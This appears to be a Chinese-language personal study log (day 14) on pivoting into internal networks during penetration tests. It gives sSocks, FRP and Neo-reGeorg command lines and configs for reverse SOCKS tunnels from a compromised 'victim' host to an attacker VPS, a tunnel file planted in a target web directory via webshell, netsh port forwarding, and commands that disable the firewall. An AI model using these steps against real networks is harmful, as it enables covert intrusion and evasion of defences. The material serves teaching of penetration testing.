记录内网渗透学习进程--DAY14
内⽹穿透之Socks代理
代理的使⽤场景
某些区域的机器不能直接被外⽹的机器访问,而只能被某些或者是某台机器访问,那么我们就需要把那些机器作为⼀
个代理服务器,建⽴代理服务,我们就可以通过那个代理服务去访问特殊区域的机器。
端口转发速度 > 代理服务器速度
代理的两种⽅式
代理分为正向代理和反向代理,不同⽅式的代理适⽤不同的场景。
正向代理
正向代理就是在已控制的机器上⾯开⼀个端口,⽤来建⽴代理服务,然后我们直接去连接使⽤开放出来的端口
正向代理的⼯具
windows
1.Earthworm,简称ew
2.Xsocks
Linux
1.Proxy_s5
2.https://raw.githubusercontent.com/52stu/Notes_pub/master/Linux_pentest_init/proxy_s5.py
3.Xsocks
反向代理
反向代理就是我们控制的机器在内⽹或者是开了防⽕墙,我们不能直接连接进去,只能让⽬标机器先跟我们的VPS建⽴连接,然后我们再通过VPS跟它通信。
反向代理的工具
windows
1.Earthworm,简称ew
2.Termite,ew升级版
3.Cobalt Strike
4.Metasploit
5.sSocks(windows版本)
……
Linux
1.Earthworm,简称ew
2.Termite,ew升级版
3.sSocks
4.https://github.com/tostercx/ssocks
5.Metasploit
……
Web
1.reGeorg
……
2021/4/29 Termite和EW都凉凉了,无法下载使用
Ssocks
似乎能免杀一些
反向代理
需求:Hacker能通过代理访问⽬标内⽹区域的机器。
环境:由于已控制的机器在⽬标内⽹,只能反向代理出来。
1.VPS先执⾏
rcsocks.exe -l 8080 -p 1080 -b
2.已控机器再执⾏
rssocks.exe-s2.2.2.3:8080-b
正向代理
正向代理就是直接启动⼀个端口开启⼀个socks服务。
1.ssocksd.exe --port 5555 -b 127.0.0.1
只能使⽤本地环回地址连接,虽然本机IP地址是:192.168.2.7。如果想要所有的⽹卡都监听:5555端口,那就改成:
ssocksd.exe --port5555 -b 0.0.0.0
或
ssocksd.exe --port 5555
配合Lcx,也可以实现多层内⽹的穿透。
FRP
简单来说Frp就是正经的内⽹穿透⼯具,速度快,但是是Golang打包成二进制文件的,所以文件体积比较大,在实战环境中可以先使用UPX压缩壳压缩后再使用
服务器【linux】端,IP:192.168.229.129在frps.ini 中编写:
然后执行 ./frps -c ./frps.ini
受害者【windows端】
在frpc.ini中编写:
[common]
server_addr = 192.168.229.129 #服务器IP
server_port = 8000 #服务器端口
tls_enable = true
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 1080 #会让Server端在VPS开启1080端⼝,以供Socks5服务使⽤
plugin=socks5
plugin_user=123 #Socks5接⼊时的账号
plugin_passwd=123 #Socks5接⼊时的密码
use_encryption=true #加密数据
use_compression=true #压缩数据
然后执行 .frpc.exe -c frpc.ini
最后连上代理服务器就好

利⽤reGeorg建⽴http加密代理
在拿到webshell之后,发现⽆法提权,⽆法执⾏命令,只能停留在Web层⾯,这时候可以直接用regeorg工具进入内网
客⼾端需要⼀些python包,报错就⾃⾏安装,⼀般来说应该是urllib3包没有 pip安装就好
reGeorg弊端
容易被waf杀
所以我们直接选择用 --- Neo-reGeorg
下载地址:https://github.com/L-codes/Neo-reGeorg
使用说明:
1.python3 neoreg.py generate -k <password> #设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件,然后把文件丢在目标web目录下

2.python3 neoreg.py -k <password> -u http://xxx/tunnel.php #将相应的隧道文件上传到WEB服务器后运行以下命令,在本地建立Socks代理

3.用proxychains等工具连接代理

利⽤系统⾃带的netsh进⾏内⽹转发
是⼀款⾃带的⾼级⽹络配置管理⼯具,⽤它可以轻松的管理本地或者远程机器的 windows 防⽕墙及各类系统⽹络配置
使⽤场景⼀
邮件服务器10.10.10.6只能被FTP服务器访问,而FTP没有开防⽕墙,那么我们利⽤netsh就可以让FTP服务器监听⼀个端口,然后把该端口的数据发到其他机器的某个端口。我们想访问邮件服务器的443端口,因为该端口是邮件服务器对外提供服务的端口。
netsh interface portproxy add v4tov4 listen address=192.168.2.4 listenport=8443 connectaddress=10.10.10.6 connectport=443
此时我们只要在192.168.2.3建⽴⼀个反向的Socks代理,配置好代理规则后,访问FTP服务器的192.168.2.4的8443端口就能访问到邮件服务器的Web

显⽰所有netsh端口转发规则
netsh interface portproxy show v4to
删除某条转发规则
netsh interface portproxy delete v4tov4 listen address=<listenip> listenport=<listen-port>
利⽤[abptts]建⽴https加密转发隧道
我们在渗透过程中关⼼的是被反制,被觉察,所以流量能加密还是加密,所以可以用ABPTTS
我觉得这个虽然能加密,但是Neo-reGeorg也行哈,这个还比较难用,所以就先不用了.
netsh在渗透中应⽤【防⽕墙】
Netsh不只是我们前⾯说的⽤来做端口转发而已,还有很多功能待我们开发出⽤于渗透
需绕UAC的权限哈
可以⽤于获取基础信息
查看ip配置信息:netsh interface ip show config
设置本机ip、⼦⽹掩码、⽹关ip:netsh interface ip set address "Local Area Connection" static 192.168.1.2 255.255.255.0 192.168.1.1开/关⽹卡:netsh int set int name="ethernet" admin=enabled netsh int set int name="ethernet" admin=disabled
控制系统防⽕墙
关闭防⽕墙
netsh advfirewall setallprofiles state off// 全部关闭
netsh firewall set opmode mode=disable//公⽤⽹络什么的不关闭
开启防⽕墙
netsh advfirewall set allprofiles state on// 全部开启
netsh firewall set opmode mode=enable//会有公⽤⽹络什么的不关闭
查看所有防⽕墙规则
netsh advfirewall firewall show rule name=all
查看当前防⽕墙状态
netsh advfirewall show currentprofile
配置防⽕墙规则
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
新建⼀条名为:Block Ports的规则,该规则的作⽤是拦截访问远程80端口的⼀切基于TCP协议的连接。
Name:规则名称(取⼀个描述性的名字)
Protecol:要阻⽌的协议(⼤部分是UDP或TCP)
Dir:阻⽌的⽅向。可以是IN或OUT
Remote Port:要阻⽌的⽬标主机的端口
Action:可以是阻⽌或允许。在本例中,我们要阻连接
新建⼀条名为:Test,允许数据从443端口进来基于TCP协议的规则
netsh advfirewall firewall add rule name=test protocol=TCP dir=IN localport=443 action=allow
新建⼀条名为:Test,禁⽌ICMP出去的规则
netsh advfirewall firewall add rule name=test protocol=ICMPv4 dir=OUT action=block
netsh advfirewall firewall add rule name=test protocol=ICMPv6 dir=OUT action=block
新建⼀条名为:Test,禁⽌数据去往8443,443端口TCP协议的规则
netsh advfirewall firewall add rule name=test protocol=TCP remoteport=8443,443 dir=OUT action=block
新建⼀条名为:Test,只允许192.168.2.2和192.168.2.3访问本机HTTP端口80的规则
netsh advfirewall firewall add rule name=test protocol=TCP dir=IN remoteip=192.168.2.2,192.168.2.3 localport=80 action=allow
新建⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则
netsh advfirewall firewall add rule name=test program="c:\1.exe" DIR=out action=allow
删除⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则
netsh advfirewall firewall delete rule name=test program="c:\1.exe" DIR=out
删除命名为Test的所有规则
netsh advfirewall firewall delete rule name="Test"

浙公网安备 33010602011771号